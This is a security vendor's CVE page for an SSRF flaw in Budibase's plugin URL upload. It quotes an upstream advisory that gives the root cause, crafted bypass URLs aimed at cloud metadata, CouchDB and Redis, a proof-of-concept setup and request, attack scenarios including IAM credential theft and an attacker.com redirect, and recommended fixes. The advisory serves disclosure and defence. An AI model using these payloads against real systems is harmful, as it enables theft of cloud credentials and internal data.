HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 45061 budibase vulnerable to ssrf via trivial targz
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Contribute to HOL
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.7CVE-2026-45061GHSA-XH5J-727M-W6GG

Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)CVE-2026-45061

Answer in brief

CVE-2026-45061 records a High severity (CVSS 7.7) vulnerability in Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`). The current sources do not mark it as known exploited. The current feed maps budibase (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 11, 2026Updated Nov 5, 2026Source checked Nov 5, 2026First seen by HOL Jun 11, 2026Material review Nov 5, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.7
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 7.7. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps budibase (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
budibasenpm<=3.34.113.35.10

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for budibase.
  2. 2Review the reported fix. Update budibase to 3.35.10 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 11, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 5, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

## 1. Summary | Field | Value | |-------|-------| | **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload | | **Product** | Budibase (Self-Hosted) | | **Version** | ≤ 3.34.11 (latest stable as of 2026-03-30) | | **Component** | `packages/server/src/api/controllers/plugin/url.ts` | | **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs | | **Severity** | High (chained) / Medium (standalone) | | **CVSS 3.1 Score (chained)** | 7.7 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` | | **CVSS 3.1 Score (standalone)** | 5.4 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` | | **Attack Vector** | Network | | **Privileges Required** | Low (Global Builder role) | | **User Interaction** | None | | **Affected Deployments** | All Budibase instances with plugin loading enabled (default) | --- ## 2. Description The Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(".tar.gz")`. Any URL containing `.tar.gz` anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path. Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: 'follow'`). The developer team's own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` — confirming they're aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is. --- ## 3. Root Cause Analysis ### 3.1 Trivial substring-based URL validation **File**: `packages/server/src/api/controllers/plugin/url.ts` ```typescript // Lines 7-19 export async function urlUpload(url: string, name = "", headers = {}) { if (!url.includes(".tar.gz")) { // ← ONLY validation: any URL with ".tar.gz" anywhere passes throw new Error("Plugin must be compressed into a gzipped tarball.") } const path = await downloadUnzipTarball(url, name, headers) // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization try { return await getPluginMetadata(path) } catch (err) { deleteFolderFileSystem(path) throw err } } ``` **Problem**: `url.includes(".tar.gz")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path. ### 3.2 Bypass examples | Attack URL | `includes(".tar.gz")` | Actual request target | |------------|----------------------|----------------------| | `http://169.254.169.254/.tar.gz` | ✅ passes | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ passes | CouchDB | | `http://10.0.0.1:6379/.tar.gz` | ✅ passes | Redis | | `http://attacker.com/file.tar.gz?x=http://internal/` | ✅ passes | Redirect to internal | | `http://internal-host/.tar.gz#fragment` | ✅ passes | Internal service | ### 3.3 Developer awareness of SSRF risk on this path **File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts` ```typescript // Line 393 it("uses fetchWithBlacklist in downloadTarballDirect", async () => { downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp") // ← team explicitly tests that IMDS is blocked via blacklist }) ``` The team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense — but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer. ### 3.4 Authorization model | Operation | Endpoint | Required Permission | |-----------|----------|---------------------| | Plugin URL upload | `POST /api/plugin` | Global Builder | **Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances. --- ## 4. Impact Analysis ### 4.1 Confidentiality — High (chained) / Low (standalone) When chained with [001] (`BLACKLIST_IPS` bypass): - **AWS/GCP/Azure IMDS** (`169.254.169.254`) — IAM credentials, service account tokens - **CouchDB** (`127.0.0.1:4005`) — application databases, user records - **Redis** (`127.0.0.1:6379`) — session tokens - **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`) Standalone (with default blacklist active): - **Open redirect chains** — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL. ### 4.2 Integrity — None (GET-only path) The plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path. ### 4.3 Availability — None No service disruption. ### 4.4 Scope Change (chained) Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass. --- ## 5. Proof of Concept > **Verification status**: Code-level confirmed. End-to-end Docker test pending. > PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml` ### 5.1 Environment Setup ```bash # poc/004_plugin_url_ssrf/docker-compose.yml services: budibase: image: budibase/budibase:latest environment: SELF_HOSTED: "1" BLACKLIST_IPS: "" # ← enables chained SSRF (001) JWT_SECRET: "poc_jwt_secret" BB_ADMIN_USER_EMAIL: "[email protected]" BB_ADMIN_USER_PASSWORD: "pocPassword123!" ports: ["10000:10000"] victim: image: python:3.11-alpine command: python -m http.server 8888 ``` ```bash cd poc/004_plugin_url_ssrf docker-compose up -d python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000 ``` ### 5.2 Step 1 — Bypass the `.tar.gz` check with a crafted URL ```http POST /api/plugin HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<builder-session-cookie> Content-Type: application/json { "source": "URL", "url": "http://victim:8888/.tar.gz", "name": "poc-test" } ``` The `url.includes(".tar.gz")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball — but the string check doesn't know that. ### 5.3 Step 2 — Expected response (SSRF confirmed) **With blacklist active (default config):** ```json { "message": "Failed to import plugin: URL is blocked or could not be resolved safely." } ``` **With `BLACKLIST_IPS=""` (chained with 001):** ```json { "message": "Failed to import plugin: incorrect header check" } ``` The `"incorrect header check"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed. ### 5.4 Additional bypass payloads tested (code-level only) | URL | Check bypass | Intended target | |-----|-------------|-----------------| | `http://169.254.169.254/.tar.gz` | ✅ | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ | CouchDB | | `http://127.0.0.1:6379/.tar.gz` | ✅ | Redis | | `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | ✅ | Internal via redirect | --- ## 6. Attack Scenarios ### Scenario A — Chained with [001]: AWS IMDS credential theft ``` 1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001) 2. Builder user sends: POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" } 3. Budibase fetches IMDS endpoint → receives IAM credentials JSON 4. zlib decompressor fails on non-gzip content → error response 5. Depending on logging config, credential material may appear in logs or error details ``` ### Scenario B — Standalone: Open redirect SSRF (default config) ``` 1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin 2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" } 3. node-fetch follows redirect (default: redirect: 'follow') 4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached 5. Requires verification of redirect handling in fetchWithBlacklist ``` ### Scenario C — CouchDB data access (chained) ``` 1. BLACKLIST_IPS="" enables internal access 2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz 3. CouchDB responds with JSON list of databases 4. zlib error confirms HTTP request reached CouchDB ``` --- ## 7. Affected Code Paths ``` POST /api/plugin (Global Builder auth) │ ▼ packages/server/src/api/controllers/plugin/index.ts │ source === "URL" → urlUpload(url, name, headers) ▼ packages/server/src/api/controllers/plugin/url.ts:8 │ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed │ → "http://169.254.169.254/.tar.gz" passes ▼ packages/server/src/utilities/fileSystem/plugins.ts │ downloadUnzipTarball(url, name, headers) ▼ packages/backend-core/src/objectStore/objectStore.ts:703 │ downloadTarballDirect(url, path, headers) ▼ packages/backend-core/src/objectStore/utils/outboundFetch.ts │ fetchWithBlacklist(url, options) │ isBlacklisted(hostname) │ ├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓ │ └─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗ ``` --- ## 8. Recommended Fixes ### Fix 1 (High): Replace substring check with URL parsing and extension validation ```typescript // packages/server/src/api/controllers/plugin/url.ts import { URL } from "url" export async function urlUpload(url: string, name = "", headers = {}) { let parsed: URL try { parsed = new URL(url) } catch { throw new Error("Invalid plugin URL.") } // Only allow https:// scheme if (parsed.protocol !== "https:") { throw new Error("Plugin URL must use HTTPS.") } // Require the path to end with .tar.gz (not just contain it anywhere) if (!parsed.pathname.endsWith(".tar.gz")) { throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).") } const path = await downloadUnzipTarball(url, name, headers) // ... } ``` ### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist` ```typescript // packages/backend-core/src/objectStore/utils/outboundFetch.ts // Current: only checks the original URL before fetch // Fix: also intercept redirects and re-check each redirect target const response = await nodeFetch(url, { ...options, redirect: "manual", // don't auto-follow }) if (response.status >= 300 && response.status < 400) { const redirectUrl = response.headers.get("location") if (redirectUrl) { const redirectHost = new URL(redirectUrl).hostname if (await isBlacklisted(redirectHost)) { throw new Error("URL is blocked or could not be resolved safely.") } // recursively fetch (with depth limit) } } ``` ### Fix 3 (Medium): Add hostname allowlist option for plugin sources Provide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist. --- ## 9. References - **CWE-918**: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html - **CWE-184**: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html - **OWASP SSRF Prevention Cheat Sheet** — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html - **Related finding**: [001] `BLACKLIST_IPS` bypass — `report/raw/001_ssrf_blacklist_bypass.md` - **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • KurrentDB: Privileged access to read $all enables arbitrary file read and GET-only SSRFAlso CWE-918
  • Kubeflow Pipelines: Unauthenticated SSRF vulnerability in Kubeflow Pipelines TensorBoard proxyAlso CWE-918
  • Kubeflow Pipelines: Unauthenticated server-side request forgery in the frontend http/https artifact source via decimal-IP bypass of the bucket validatorAlso CWE-918
  • Kubeflow Pipelines: Unauthenticated SSRF through artifact provider endpointsAlso CWE-918
  • Kubeflow Pipelines — API server fetches a caller-supplied pipelineURL without host validationAlso CWE-918
  • Model Context Protocol TypeScript SDK: One HTTP request within the default size limit could exhaust server memory during validationSame npm ecosystem

Record context

Vulnerability class
SSRF
EPSS
Not reported
CWE IDs
CWE-918
Source
GitHub Security Advisories
Source checked
Nov 5, 2026
References
4 linked sources
Open source record